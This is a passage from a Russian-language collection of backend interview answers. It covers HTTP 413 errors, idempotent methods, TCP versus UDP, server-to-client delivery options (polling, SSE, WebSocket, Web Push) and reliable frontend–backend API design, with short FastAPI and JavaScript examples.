RFC 9112 прямо запрещает пробельные символы в request target.

На практике query-параметры следует формировать средствами HTTP-клиента:

response = httpx.get(
    "https://api.example.com/search",
    params={
        "q": "python api",
        "filter": "price<100",
    },
)

А не конкатенацией строк:

url = f"/search?q={query}"

4. Unicode увеличивает фактическую длину #

Кириллица и другие не-ASCII-символы в URI обычно преобразуются в UTF-8, после чего отдельные байты кодируются через percent-encoding.

Например, слово:

кот

может быть представлено как:

%D0%BA%D0%BE%D1%82

Три видимых символа превращаются в 18 ASCII-символов URL. RFC 3986 описывает передачу не-ASCII-символов через UTF-8 и percent-encoding.

5. Fragment не передаётся серверу #

Часть после # называется fragment:

https://example.com/articles/10?page=2#comments
                                      └───────

Браузер отправит серверу только:

GET /articles/10?page=2 HTTP/1.1

Значение:

#comments

остаётся на стороне клиента и обычно используется браузером или JavaScript. Fragment отделяется до выполнения HTTP-запроса и не включается в request target.

Следовательно, fragment нельзя использовать как обычный параметр серверного API.

6. Path и query могут быть регистрозависимыми #

Доменное имя обычно сравнивается без учёта регистра:

EXAMPLE.COM
example.com

Но path и query могут обрабатываться приложением с учётом регистра:

/users
/Users
?status=active
?status=ACTIVE

Считать их одинаковыми можно только тогда, когда это явно определено контрактом конкретного API.

7. В URL не следует передавать секреты #

Нежелательно:

/login?password=secret
/profile?access_token=eyJ...

URI могут попадать в:

  • журналы серверов и прокси;

  • историю браузера;

  • закладки;

  • аналитику;

  • интерфейсы мониторинга;

  • сообщения об ошибках.

RFC 9110 прямо указывает, что URI предназначены для передачи и отображения, а не для безопасного хранения секретной информации.

Токены передают в заголовке:

Authorization: Bearer <access-token>

Пароли — в теле HTTPS-запроса:

POST /auth/login
Content-Type: application/json

{
  "username": "alfob",
  "password": "secret"
}

8. Слишком сложные данные не стоит помещать в query string #

Для обычной фильтрации URL подходит:

GET /products?category=books&limit=20&offset=40

Для большого вложенного набора фильтров лучше использовать тело запроса:

POST /products/search
Content-Type: application/json

{
  "categories": ["books", "education"],
  "price": {
    "from": 10,
    "to": 100
  },
  "authors": [15, 27, 42]
}

Это позволяет не зависеть от ограничений длины request target и не создавать трудно читаемый URL.

Итог #

Основные ограничения URL:

Нет единого универсального максимума
Фактический лимит задают клиенты, прокси и серверы
Длина обычно считается в байтах
Служебные символы требуют percent-encoding
Пробелы нельзя передавать напрямую
Unicode может сильно увеличить длину
Fragment после # не отправляется серверу
Секретные данные нельзя помещать в URL

Для API практично сохранять URL короче нескольких килобайт, использовать query для небольших параметров фильтрации, а большие и сложные структуры передавать в теле запроса.


23. Что произойдёт, если клиент отправит слишком большое тело запроса? #

Основной результат #

Если тело запроса превышает установленный лимит, сервер или промежуточный компонент обычно отклоняет запрос со статусом:

HTTP/1.1 413 Content Too Large
Content-Type: application/json

{
  "detail": "Request body is too large"
}

413 Content Too Large означает, что сервер не хочет или не способен обработать содержимое такого размера. Сервер также может прекратить приём тела или закрыть соединение. Старые названия этого статуса — Payload Too Large и Request Entity Too Large; код остаётся тем же — 413.

Где может сработать ограничение #

Запрос обычно проходит через несколько компонентов:

Клиент
CDN / WAF
Reverse proxy
Веб-сервер
ASGI/WSGI-сервер
Приложение

Ограничение может быть установлено на любом уровне. Запрос отклонит первый компонент, лимит которого окажется меньше размера тела.

Например:

CDN:          100 МБ
Nginx:         10 МБ
Приложение:     5 МБ

Тело размером 8 МБ пройдёт через Nginx, но будет отклонено приложением. Тело размером 20 МБ отклонит уже Nginx, и до приложения запрос не дойдёт.

В Nginx размер тела ограничивается директивой client_max_body_size; при превышении лимита сервер возвращает 413. В Apache аналогичное ограничение может задаваться через LimitRequestBody.

Если присутствует Content-Length #

Клиент может заранее сообщить размер тела:

POST /files HTTP/1.1
Content-Type: application/octet-stream
Content-Length: 52428800

Если разрешено только 10 МБ, сервер может определить превышение по заголовку ещё до чтения всего тела:

Content-Length: 50 МБ
Лимит:          10 МБ
              413

Но полагаться только на Content-Length нельзя:

  • заголовок может отсутствовать;

  • тело может передаваться потоком;

  • клиентские данные нельзя считать доверенными;

  • фактически принятый объём всё равно необходимо контролировать во время чтения.

Если размер заранее неизвестен #

При потоковой передаче сервер может узнать реальный размер только по мере чтения:

получено 1 МБ
получено 5 МБ
получено 10 МБ
получено 10 МБ + 1 байт
         413

В таком случае часть данных уже могла пройти по сети и временно попасть в память или файл, прежде чем сервер обнаружит превышение.

Что происходит с обработчиком приложения #

Если лимит проверяет reverse proxy:

Клиент → Nginx → 413
                  X
               FastAPI

Endpoint FastAPI обычно вообще не будет вызван.

Если ограничение реализовано внутри приложения:

Клиент → Nginx → FastAPI middleware → 413

приложение должно остановить чтение и обработку тела сразу после превышения лимита.

Почему большие тела опасны #

Если приложение без ограничений полностью загружает тело:

body = await request.body()

большой запрос может привести к:

  • чрезмерному потреблению оперативной памяти;

  • заполнению временного диска;

  • длительному удержанию соединений;

  • загрузке процессора при разборе большого JSON;

  • блокировке обработчиков;

  • отказу в обслуживании при множестве параллельных запросов.

Особенно опасна схема:

100 клиентов × 100 МБ
= до 10 ГБ входящих данных

Поэтому лимит лучше устанавливать до бизнес-логики — на CDN, reverse proxy или middleware.

Большой JSON и большой файл обрабатываются по-разному #

JSON #

JSON обычно требуется полностью прочитать и разобрать:

POST /payments
Content-Type: application/json
{
  "payments": [...]
}

Большой JSON создаёт нагрузку не только на сеть, но и на:

  • память;

  • JSON-десериализацию;

  • валидацию;

  • создание большого количества Python-объектов.

Для массовых операций разумнее ограничивать одновременно:

максимальный размер тела
+ максимальное количество объектов
+ глубину вложенности
+ длину отдельных строк

Файлы #

Файл лучше читать частями:

while chunk := await file.read(1024 * 1024):
    total_size += len(chunk)

    if total_size > MAX_SIZE:
        raise HTTPException(status_code=413)

Так приложение не обязано держать весь файл в памяти.

Для крупных файлов часто используют:

multipart upload
прямую загрузку в S3/MinIO
предподписанный URL
разбиение файла на части

Может ли сервер закрыть соединение #

Да. RFC разрешает серверу после определения чрезмерного размера прекратить запрос или закрыть соединение, если это требуется используемой версией протокола и реализацией. Поэтому клиент иногда может получить не красивый JSON с ошибкой, а сетевое исключение или сброс соединения.

Нужно ли повторять запрос #

Обычно простое повторение того же запроса бессмысленно:

тело 20 МБ
лимит 10 МБ
повтор → снова 413

Клиент должен:

  • уменьшить объём данных;

  • разбить запрос на части;

  • загрузить файл другим предусмотренным способом;

  • использовать endpoint для пакетной или multipart-загрузки.

Если ограничение временное, сервер может вернуть:

HTTP/1.1 413 Content Too Large
Retry-After: 3600

RFC рекомендует использовать Retry-After, когда невозможность обработать такой размер носит временный характер.

Не следует возвращать 400 или 422 #

Для превышения допустимого размера корректный статус:

413 Content Too Large

Другие статусы обозначают иные проблемы:

400 → запрос синтаксически некорректен
415 → неподдерживаемый Content-Type
422 → формат понятен, но содержимое не прошло обработку
413 → содержимое слишком большое

Практичная защита #

CDN/WAF:
    общий внешний лимит

Nginx:
    client_max_body_size

Приложение:
    лимит для конкретного endpoint
    контроль размера во время чтения
    лимит количества объектов
    потоковая обработка файлов

Хранилище:
    квоты пользователя
    лимит общего объёма

Итоговая последовательность:

Клиент отправляет тело
Компонент сравнивает размер с лимитом
Размер допустим → запрос обрабатывается
Размер превышен → 413 Content Too Large
                  + при необходимости прекращение передачи


24. Что такое идемпотентность и какие HTTP-методы иденпотентны? #

Что такое идемпотентность #

HTTP-метод считается идемпотентным, если несколько одинаковых запросов оказывают на сервер тот же предполагаемый эффект, что и один такой запрос. Ответы при этом могут различаться.

Условно:

один запрос  → состояние S
десять таких же запросов → то же состояние S

Например:

DELETE /users/42

Первый запрос удаляет пользователя:

204 No Content

Повторный запрос может вернуть:

404 Not Found

Ответы разные, но итоговое состояние одинаковое:

пользователя 42 не существует

Следовательно, DELETE идемпотентен.

Зачем нужна идемпотентность #

Она позволяет безопаснее повторить запрос после сетевого сбоя:

Клиент отправил PUT
Сервер выполнил операцию
Ответ потерялся из-за разрыва соединения
Клиент повторяет тот же PUT

Поскольку PUT идемпотентен, повтор не должен приводить к дополнительному изменению состояния. Именно возможность автоматического повторения после ошибки связи является одной из основных причин выделения идемпотентных методов.

Идемпотентные HTTP-методы #

Среди основных методов:

МетодИдемпотентенБезопасен
GETДаДа
HEADДаДа
OPTIONSДаДа
TRACEДаДа
PUTДаНет
DELETEДаНет
POSTНетНет
PATCHНет по умолчаниюНет
CONNECTНетНет

RFC 9110 определяет как идемпотентные PUT, DELETE и все безопасные методы. Актуальный реестр IANA также указывает свойства каждого зарегистрированного метода.

GET #

GET /users/42

Повторное чтение не должно изменять состояние ресурса:

GET × 1   → пользователь прочитан
GET × 100 → пользователь всё ещё только прочитан

Данные между запросами могут измениться из-за действий других клиентов, поэтому ответы не обязаны быть одинаковыми:

GET в 12:00 → balance = 100
GET в 12:05 → balance = 80

Это не нарушает идемпотентность. Важно, что сам GET не запрашивает изменение состояния.

PUT #

PUT задаёт желаемое состояние ресурса по известному URI:

PUT /users/42
Content-Type: application/json

{
  "username": "new_name",
  "active": true
}

Повторение того же запроса:

PUT × 1   → username = new_name
PUT × 10  → username = new_name

Поэтому PUT идемпотентен.

Но такая операция через PUT идемпотентной не будет:

PUT /users/42/increment-login-count
каждый запрос → login_count + 1

Это противоречит стандартной семантике PUT: проблема находится в проектировании endpoint, а не в самом HTTP.

DELETE #

DELETE /files/42

Первый запрос удаляет файл, последующие оставляют его удалённым:

DELETE × 1  → файла нет
DELETE × 10 → файла нет

Побочные действия вроде новой записи в журнале на каждый запрос не делают метод неидемпотентным. Идемпотентность относится к предполагаемому эффекту, который запросил клиент, а не ко всем внутренним техническим действиям сервера.

POST #

POST по стандартной семантике не считается идемпотентным:

POST /orders
Content-Type: application/json

{
  "product_id": 15,
  "quantity": 2
}

Повторение может создать несколько заказов:

POST × 1 → заказ 1001
POST × 2 → заказ 1002
POST × 3 → заказ 1003

Особенно опасны автоматические повторы операций:

POST /payments

Первый запрос мог создать платёж, но клиент не получил ответ. Повтор может создать второй платёж.

POST можно сделать идемпотентным на уровне приложения, например через ключ операции:

POST /payments
Idempotency-Key: 8715f428-6a31-45c1-a752-e2e739c91763
Content-Type: application/json

{
  "amount": 100
}

Сервер сохраняет ключ и при повторном запросе не создаёт второй платёж:

один Idempotency-Key → одна бизнес-операция

Но наличие такого механизма не превращает сам метод POST в идемпотентный по стандартной HTTP-семантике.

PATCH #

PATCH не считается идемпотентным по умолчанию, поскольку результат зависит от формата изменения.

Идемпотентный вариант:

PATCH /users/42
Content-Type: application/merge-patch+json

{
  "active": false
}

Повторная установка false оставляет то же состояние.

Неидемпотентный вариант:

PATCH /accounts/42
Content-Type: application/json

{
  "operation": "increment",
  "amount": 10
}
PATCH × 1 → balance + 10
PATCH × 2 → balance + 20

Поэтому конкретный PATCH можно спроектировать идемпотентным, но клиент не должен считать любой PATCH безопасным для автоматического повторения. В реестре IANA PATCH обозначен как неидемпотентный метод.

Безопасность и идемпотентность — не одно и то же #

Безопасный метод не запрашивает изменение состояния сервера.

Безопасный → только чтение по смыслу
Идемпотентный → повтор не меняет конечный эффект

Все безопасные методы идемпотентны:

GET
HEAD
OPTIONS
TRACE

Но не все идемпотентные методы безопасны:

PUT    → изменяет ресурс
DELETE → удаляет ресурс

То есть:

безопасный ⊂ идемпотентный

Новый метод QUERY #

В июне 2026 года в реестре IANA появился стандартизированный метод QUERY. Он определён как безопасный и идемпотентный, но пока значительно менее распространён в клиентах, прокси и веб-фреймворках, чем GET или POST.

Главное #

Идемпотентные:
GET, HEAD, OPTIONS, TRACE, PUT, DELETE
Неидемпотентные по стандартной семантике:
POST, PATCH, CONNECT

Идемпотентность означает не одинаковый HTTP-ответ, а одинаковый предполагаемый конечный эффект на сервере при повторении идентичного запроса.


25. TCP vs UDP #

Основное различие #

TCP и UDP — транспортные протоколы, работающие поверх IP.

  • TCP предоставляет надёжный упорядоченный поток байтов с установлением соединения.

  • UDP передаёт отдельные сообщения — датаграммы — без установления соединения и без встроенных гарантий доставки, порядка или защиты от дубликатов.

Сравнение #

ХарактеристикаTCPUDP
Тип взаимодействияС установлением соединенияБез установления соединения
Модель данныхНепрерывный поток байтовОтдельные датаграммы
Гарантия доставкиЕсть повторная передача потерянных данныхНет
Порядок данныхВосстанавливает правильный порядокПакеты могут прийти в любом порядке
Защита от дубликатовЕстьНет
Контроль потокаЕстьНет на уровне UDP
Контроль перегрузкиЕстьДолжен реализовываться приложением или протоколом поверх UDP
Накладные расходыВышеНиже
Границы сообщенийНе сохраняютсяСохраняются
Broadcast и multicastНе поддерживаются напрямуюПоддерживаются

Как работает TCP #

Перед передачей данных TCP устанавливает логическое соединение через трёхэтапное рукопожатие:

Клиент                          Сервер
   │──── SYN ─────────────────────>│
   │<─── SYN + ACK ────────────────│
   │──── ACK ─────────────────────>│
   │                               │
   │──── данные ──────────────────>│

После этого TCP:

  1. нумерует передаваемые байты;

  2. получает подтверждения ACK;

  3. повторно отправляет потерянные сегменты;

  4. восстанавливает правильный порядок;

  5. регулирует скорость передачи;

  6. предотвращает переполнение принимающей стороны.

TCP представляет данные приложению как непрерывный упорядоченный поток байтов.

Например, отправитель выполнил:

send("Hello")
send("World")

Получатель не обязан получить два отдельных сообщения. Он может прочитать:

"HelloWorld"

или:

"Hel"
"loWorld"

Поэтому прикладной протокол поверх TCP должен самостоятельно определять границы сообщений — например, через длину, разделитель или структуру HTTP.

Как работает UDP #

UDP не устанавливает соединение перед отправкой:

Клиент                          Сервер
   │──── датаграмма 1 ────────────>│
   │──── датаграмма 2 ────────────>│
   │──── датаграмма 3 ────────────>│

Отправитель просто передаёт датаграмму на IP-адрес и порт. UDP не гарантирует, что она:

  • дойдёт;

  • придёт один раз;

  • придёт раньше следующей;

  • не будет отброшена сетью.

При этом границы сообщений сохраняются: одна отправленная UDP-датаграмма принимается как одна датаграмма, если она вообще дошла. RFC 768 определяет UDP как минимальный датаграммный механизм без гарантий доставки и защиты от дубликатов.

Пример:

Отправлено:  [1] [2] [3] [4]
Получено:    [1] [3] [4]

UDP самостоятельно не запросит повторную отправку [2].

Почему TCP надёжнее #

Допустим, сегмент потерялся:

Отправитель: 1 2 3 4 5
Получатель:  1 2 _ 4 5

В TCP получатель подтверждает принятые данные, а отправитель повторно передаёт отсутствующий диапазон:

повторная передача → 3
результат          → 1 2 3 4 5

Кроме того, TCP скрывает от приложения перестановку сегментов и предоставляет данные в правильной последовательности.

Однако TCP гарантирует доставку данных транспортному уровню другой стороны, пока соединение остаётся работоспособным. Он не гарантирует, что бизнес-операция была успешно выполнена:

TCP доставил запрос
платёж успешно записан в базу

Подтверждение бизнес-операции должно обеспечивать само приложение.

Почему UDP считают быстрее #

UDP имеет меньше служебной логики:

  • нет предварительного TCP-рукопожатия;

  • нет обязательных подтверждений;

  • нет встроенных повторных передач;

  • нет восстановления общего порядка;

  • заголовок UDP компактнее.

Поэтому UDP может иметь меньшую задержку и меньшие накладные расходы. Но формулировка «UDP всегда быстрее TCP» неверна: результат зависит от качества сети, реализации приложения и протокола поверх UDP.

При потере данных приложение может самостоятельно реализовать:

подтверждения
повторные передачи
нумерацию
контроль перегрузки
шифрование

В этом случае часть сложности TCP фактически создаётся заново. Рекомендации IETF требуют, чтобы приложения поверх UDP учитывали перегрузку сети и не отправляли данные бесконтрольно.

Когда используют TCP #

TCP подходит, когда данные должны прийти полностью и в правильном порядке:

HTTP/1.1 и HTTP/2
HTTPS поверх TCP
SSH
SMTP
IMAP
FTP
подключения к базам данных
передача файлов

Например, при скачивании архива потеря нескольких байтов недопустима:

оригинал:  100 МБ
получено:  99,99 МБ
результат: повреждённый файл

Когда используют UDP #

UDP подходит, когда важнее минимальная задержка, а потерю некоторых данных можно принять или обработать на уровне приложения:

голосовая связь
видеозвонки
онлайн-игры
DNS
потоковое мультимедиа
телеметрия
broadcast и multicast

Например, в голосовом звонке пакет со звуком, задержавшийся на несколько секунд, уже не нужен:

лучше пропустить короткий фрагмент
чем воспроизвести его слишком поздно

Но конкретные современные протоколы поверх UDP могут самостоятельно обеспечивать надёжность, шифрование и контроль перегрузки.

QUIC и HTTP/3 #

UDP не означает обязательное отсутствие надёжности на уровне всей системы.

QUIC работает поверх UDP, но самостоятельно реализует:

  • соединения;

  • надёжные потоки;

  • подтверждения;

  • повторную передачу;

  • контроль потока;

  • контроль перегрузки;

  • встроенную криптографическую защиту.

HTTP/3 работает поверх QUIC, а QUIC — поверх UDP.

HTTP/1.1 или HTTP/2
       TCP
        IP
HTTP/3
 QUIC
  UDP
   IP

Таким образом, UDP используется как минимальная транспортная основа, а необходимые гарантии реализует QUIC.

Главное #

TCP
→ соединение
→ поток байтов
→ доставка и порядок
→ повторная передача
→ больше служебной логики
UDP
→ отдельные датаграммы
→ нет встроенных гарантий
→ меньше накладных расходов
→ контроль над надёжностью остаётся приложению

Выбор определяется не правилом «TCP медленный, UDP быстрый», а требованиями:

данные должны обязательно и последовательно дойти → TCP

важна минимальная задержка,
а отдельные потери допустимы
или надёжность реализуется выше → UDP


26. Какие способы доставки сообщения с сервера на клиент вы знаете? | Как backend возвращает данные на frontend? #

Базовый вариант: HTTP request → HTTP response #

Обычно frontend сам отправляет запрос, а backend возвращает данные в HTTP-ответе:

Frontend ── HTTP request ──> Backend
Frontend <─ HTTP response ── Backend

HTTP работает по модели «запрос — ответ»: сервер формирует ответ на конкретный запрос клиента. Ответ содержит статус, заголовки и необязательное тело.

Пример:

GET /api/users/42 HTTP/1.1
Host: example.com
Accept: application/json

Ответ backend:

HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 42,
  "username": "alfob"
}

Frontend получает его через fetch():

const response = await fetch("/api/users/42");

if (!response.ok) {
    throw new Error(`HTTP error: ${response.status}`);
}

const user = await response.json();

console.log(user.username);

fetch() возвращает объект Response, из которого frontend читает статус, заголовки и тело, например через json(), text(), blob() или поток body.

В FastAPI обычный ответ может выглядеть так:

from fastapi import FastAPI

app = FastAPI()


@app.get("/api/users/{user_id}")
async def get_user(user_id: int) -> dict:
    return {
        "id": user_id,
        "username": "alfob",
    }

FastAPI сериализует словарь в JSON и формирует HTTP-ответ.


Способы доставки обновлений с сервера #

Когда сервер должен сообщать клиенту о событиях, возникших после первоначальной загрузки страницы, применяют несколько подходов:

Обычный HTTP-ответ
Polling
Long polling
HTTP streaming
SSE
WebSocket
Web Push

1. Обычный HTTP-запрос #

Frontend запрашивает данные только тогда, когда они нужны:

пользователь открыл страницу
GET /api/orders
backend вернул список заказов

Подходит для:

  • загрузки страниц;

  • CRUD-операций;

  • получения профиля;

  • отправки форм;

  • обычных REST API.

Это основной способ взаимодействия frontend и backend.


2. Polling — периодический опрос #

Frontend через определённый интервал повторяет запрос:

GET /notifications
через 5 секунд
GET /notifications
через 5 секунд
GET /notifications

Пример:

setInterval(async () => {
    const response = await fetch("/api/notifications");
    const notifications = await response.json();

    renderNotifications(notifications);
}, 5000);

Преимущества:

  • простая реализация;

  • работает через обычный HTTP;

  • легко поддерживается прокси и балансировщиками.

Недостатки:

  • много запросов без новых данных;

  • обновление приходит с задержкой до следующего опроса;

  • лишняя нагрузка на backend и сеть.

Polling подходит, когда обновления редкие и небольшая задержка допустима.


3. Long polling — длинный опрос #

Клиент отправляет запрос, но сервер не отвечает сразу. Он удерживает запрос открытым до появления события или истечения timeout:

Client ── GET /events ──> Server
                         ожидание
Client <── новое событие ───┘

После получения ответа клиент сразу создаёт новый запрос:

запрос
→ ожидание
→ ответ
→ новый запрос
→ ожидание
→ ответ

RFC 6202 описывает long polling как механизм, при котором для каждого клиента удерживаются открытыми HTTP-запрос и сетевое соединение. Преимущества:

  • событие приходит почти сразу;

  • совместимость с обычной HTTP-инфраструктурой.

Недостатки:

  • постоянное создание новых запросов;

  • открытые соединения занимают ресурсы;

  • сложнее масштабировать, чем обычный polling;

  • возможны timeout со стороны прокси.


4. HTTP streaming #

Сервер отправляет один HTTP-ответ частями, не закрывая его после первого блока данных:

Client ── GET /stream ──> Server
Client <── chunk 1 ────── Server
Client <── chunk 2 ────── Server
Client <── chunk 3 ────── Server

Frontend может читать тело по мере поступления:

const response = await fetch("/api/stream");
const reader = response.body.getReader();
const decoder = new TextDecoder();

while (true) {
    const { value, done } = await reader.read();

    if (done) {
        break;
    }

    console.log(decoder.decode(value));
}

Тело Response доступно как ReadableStream, поэтому клиент может обрабатывать данные постепенно, не дожидаясь полной загрузки ответа.

Используется для:

  • потоковой генерации текста;

  • больших файлов;

  • журналов выполнения;

  • прогресса длительной задачи;

  • постепенно формируемых результатов.


5. SSE — Server-Sent Events #

SSE позволяет серверу отправлять клиенту последовательность текстовых событий по одному длительному HTTP-соединению:

Frontend ── открывает EventSource ──> Backend
Frontend <── event 1 ─────────────── Backend
Frontend <── event 2 ─────────────── Backend
Frontend <── event 3 ─────────────── Backend

Frontend:

const source = new EventSource("/api/events");

source.onmessage = (event) => {
    const data = JSON.parse(event.data);
    console.log(data);
};

Backend должен возвращать:

Content-Type: text/event-stream

Формат события:

event: notification
data: {"message": "New notification"}

SSE является односторонним каналом: сервер отправляет события клиенту, но клиент не отправляет сообщения серверу через то же соединение. Для клиентских команд используются обычные HTTP-запросы.

Подходит для:

  • уведомлений;

  • статуса выполнения задачи;

  • новостных лент;

  • логов;

  • обновления котировок;

  • генерации текста по частям.

Преимущества:

  • работает поверх обычного HTTP;

  • браузер автоматически переподключается;

  • проще WebSocket для односторонних обновлений;

  • текстовый формат событий.

Недостатки:

  • только сервер → клиент;

  • в основном текстовые данные;

  • длительные соединения необходимо учитывать при масштабировании.


6. WebSocket #

WebSocket создаёт постоянный двусторонний канал:

Frontend <──────────────> Backend
         сообщения в обе стороны

Frontend:

const socket = new WebSocket("wss://example.com/ws");

socket.addEventListener("open", () => {
    socket.send(
        JSON.stringify({
            type: "subscribe",
            channel: "notifications",
        }),
    );
});

socket.addEventListener("message", (event) => {
    const message = JSON.parse(event.data);
    console.log(message);
});

WebSocket позволяет браузеру и серверу отправлять сообщения друг другу через одно установленное соединение.

Подходит для:

  • чатов;

  • многопользовательских игр;

  • совместного редактирования;

  • торговых терминалов;

  • двусторонней телеметрии;

  • интерактивных приложений реального времени.

Преимущества:

  • двусторонний обмен;

  • низкая задержка после установления соединения;

  • меньше накладных расходов на повторные HTTP-запросы;

  • поддержка текстовых и бинарных сообщений.

Недостатки:

  • сложнее реализация;

  • нужно обрабатывать переподключение;

  • требуются heartbeat или ping/pong;

  • сложнее балансировка и масштабирование;

  • необходимо хранить состояние активных соединений.


7. Web Push #

Web Push применяется, когда сервер должен доставить уведомление браузеру даже при отсутствии открытой вкладки сайта:

Backend
Push service браузера
Service Worker
Системное уведомление

Сначала пользователь предоставляет разрешение, браузер создаёт подписку, а backend отправляет сообщение через push-сервис. Web Push стандартизирует доставку событий через посредника — push service.

Подходит для:

  • уведомлений о новом сообщении;

  • напоминаний;

  • уведомлений о заказах;

  • событий, которые важны при закрытом сайте.

Это не замена REST API или WebSocket. Push-сообщение часто только уведомляет frontend, после чего приложение запрашивает актуальные данные через обычный HTTP API.


Сравнение #

СпособКто инициирует получениеНаправлениеПостоянное соединениеТипичный сценарий
HTTP responseКлиентСервер → клиентНетCRUD и загрузка данных
PollingКлиент периодическиСервер → клиентНетРедкие обновления
Long pollingКлиентСервер → клиентВременноПочти real-time без WebSocket
HTTP streamingКлиентСервер → клиентДаПотоковые результаты
SSEКлиент открывает каналСервер → клиентДаСобытия и уведомления
WebSocketКлиент устанавливает каналВ обе стороныДаЧат и real-time
Web PushBackend через push serviceСервер → браузерНе требуется открытая вкладкаСистемные уведомления

Что обычно выбирают #

Обычный CRUD API
→ HTTP request/response

Обновление раз в несколько секунд
→ polling

Односторонние события в реальном времени
→ SSE

Интерактивный обмен в обе стороны
→ WebSocket

Большой или постепенно формируемый ответ
→ HTTP streaming

Уведомление при закрытом сайте
→ Web Push

Главное различие:

Обычный HTTP:
клиент запросил → сервер ответил

SSE / streaming:
клиент один раз открыл запрос → сервер постепенно отправляет данные

WebSocket:
клиент установил соединение → обе стороны могут отправлять сообщения

Web Push:
сообщение доставляется через инфраструктуру push-сервиса


27. Как организовать надежное взаимодействие фронтенда и бэкенда? #

Надёжное взаимодействие — это не один механизм #

Надёжность между frontend и backend строится на нескольких уровнях:

Контракт API
Валидация данных
Корректные HTTP-статусы и ошибки
Таймауты и отмена запросов
Безопасные повторные запросы
Защита от дубликатов
Авторизация
Логи, метрики и трассировка

Главный принцип:

frontend не должен угадывать поведение backend,
а backend не должен доверять frontend

1. Зафиксировать контракт API #

Frontend и backend должны заранее согласовать:

  • URL и HTTP-методы;

  • параметры path и query;

  • структуру request body;

  • структуру response body;

  • возможные HTTP-статусы;

  • формат ошибок;

  • обязательные и необязательные поля;

  • типы, ограничения и допустимые значения.

Например:

POST /api/orders
Content-Type: application/json

{
  "product_id": 42,
  "quantity": 2
}

Успешный ответ:

HTTP/1.1 201 Created
Content-Type: application/json

{
  "id": 1001,
  "status": "created",
  "product_id": 42,
  "quantity": 2
}

Контракт удобно описывать через OpenAPI. Спецификация позволяет машинно описать операции, параметры, request body, ответы, схемы и способы аутентификации; на её основе можно генерировать документацию, клиентский код и проверять совместимость.

Пример схемы:

paths:
  /api/orders:
    post:
      requestBody:
        required: true
        content:
          application/json:
            schema:
              $ref: "#/components/schemas/OrderCreate"
      responses:
        "201":
          description: Order created
        "422":
          description: Validation error

2. Использовать единый API-клиент на frontend #

Не стоит разбрасывать вызовы fetch() по всему приложению:

fetch("/api/users");
fetch("/api/orders");
fetch("/api/payments");

Лучше сделать один слой:

UI-компоненты
frontend services
единый HTTP-клиент
backend API

Например:

class ApiError extends Error {
    constructor(status, body) {
        super(body?.detail ?? `HTTP error ${status}`);
        this.status = status;
        this.body = body;
    }
}

async function apiRequest(path, options = {}) {
    const response = await fetch(`/api${path}`, {
        ...options,
        headers: {
            Accept: "application/json",
            ...options.headers,
        },
    });

    const contentType = response.headers.get("content-type") ?? "";
    const body = contentType.includes("json")
        ? await response.json()
        : await response.text();

    if (!response.ok) {
        throw new ApiError(response.status, body);
    }

    return body;
}

Использование:

const user = await apiRequest("/users/42");

В одном месте можно централизованно реализовать:

Authorization
таймауты
обновление access token
обработку 401
повторы
логирование
разбор ошибок

3. Backend должен возвращать правильные HTTP-статусы #

Frontend не должен определять успех по полю:

{
  "success": false
}

при статусе 200 OK.

Лучше использовать семантику HTTP:

200 OK             → запрос успешно обработан
201 Created        → ресурс создан
202 Accepted       → задача принята, но ещё не завершена
204 No Content     → успешно, тела ответа нет

400 Bad Request    → некорректный запрос
401 Unauthorized   → нет действительных credentials
403 Forbidden      → credentials есть, но доступ запрещён
404 Not Found      → ресурс не найден
409 Conflict       → конфликт текущего состояния
412 Precondition Failed → условие обновления не выполнено
413 Content Too Large   → слишком большое тело
422 Unprocessable Content → ошибка содержимого/валидации
429 Too Many Requests   → превышен лимит

500 Internal Server Error → внутренняя ошибка
502 Bad Gateway           → ошибка upstream
503 Service Unavailable   → сервис временно недоступен
504 Gateway Timeout       → upstream не ответил вовремя

HTTP-статус должен передавать общий класс результата, а тело — подробности. Семантика методов и кодов ответа определена HTTP-стандартом.

4. Сделать единый формат ошибок #

Плохо, когда разные endpoint возвращают разные форматы:

{"error": "Not found"}
{"message": "Invalid request"}
{"detail": [{"field": "email"}]}

Frontend приходится писать множество отдельных обработчиков.

Лучше использовать единый формат:

{
  "type": "https://api.example.com/problems/validation-error",
  "title": "Request validation failed",
  "status": 422,
  "detail": "Several fields contain invalid values",
  "instance": "/api/orders/request-7fbd",
  "errors": [
    {
      "field": "quantity",
      "code": "greater_than_zero",
      "message": "Quantity must be greater than zero"
    }
  ]
}

RFC 9457 определяет стандартный формат application/problem+json с полями type, title, status, detail и instance; формат можно расширять прикладными полями, например списком ошибок валидации.

Ответ:

HTTP/1.1 422 Unprocessable Content
Content-Type: application/problem+json

Frontend должен ориентироваться преимущественно на стабильные машинные данные:

status
type
code
field

а не сравнивать человеческий текст:

// Ненадёжно
if (error.message === "Пользователь не найден") {
    // ...
}

Лучше:

if (error.body?.type === "/problems/user-not-found") {
    // ...
}

5. Валидировать данные с обеих сторон #

Frontend-валидация улучшает UX:

if (quantity <= 0) {
    showError("Количество должно быть больше нуля");
    return;
}

Но она не является защитой, потому что клиент может напрямую вызвать API:

curl -X POST /api/orders \
  -d '{"quantity": -100}'

Поэтому backend обязан повторно проверять:

  • типы;

  • обязательные поля;

  • длину строк;

  • диапазоны чисел;

  • форматы дат;

  • размер файлов;

  • допустимое количество элементов;

  • бизнес-ограничения.

from pydantic import BaseModel, Field


class OrderCreate(BaseModel):
    product_id: int = Field(gt=0)
    quantity: int = Field(ge=1, le=100)

Frontend-валидация:

удобство пользователя

Backend-валидация:

целостность и безопасность системы

6. Устанавливать таймауты #

Запрос не должен ждать бесконечно:

frontend → backend → база данных
                   зависла

На каждом уровне нужны отдельные ограничения:

таймаут подключения
таймаут ожидания ответа
таймаут чтения
таймаут записи
таймаут запроса к базе
таймаут внешнего API

Frontend с AbortController:

async function fetchWithTimeout(url, options = {}, timeoutMs = 10_000) {
    const controller = new AbortController();

    const timeoutId = setTimeout(() => {
        controller.abort();
    }, timeoutMs);

    try {
        return await fetch(url, {
            ...options,
            signal: controller.signal,
        });
    } finally {
        clearTimeout(timeoutId);
    }
}

Важно различать:

таймаут frontend
backend обязательно прекратил выполнение

Например:

frontend отправил POST /payments
backend создал платёж
ответ потерялся
frontend получил timeout

Клиент теперь не знает, была ли операция выполнена. Поэтому таймауты тесно связаны с идемпотентностью.

7. Повторять запросы только безопасно #

Не следует автоматически повторять любой неуспешный запрос.

Обычно можно повторять:

GET
HEAD
OPTIONS
PUT
DELETE

поскольку эти методы идемпотентны по HTTP-семантике.

Опасный пример:

POST /payments

Если первый запрос был выполнен, но ответ потерялся, повтор может создать второй платёж.

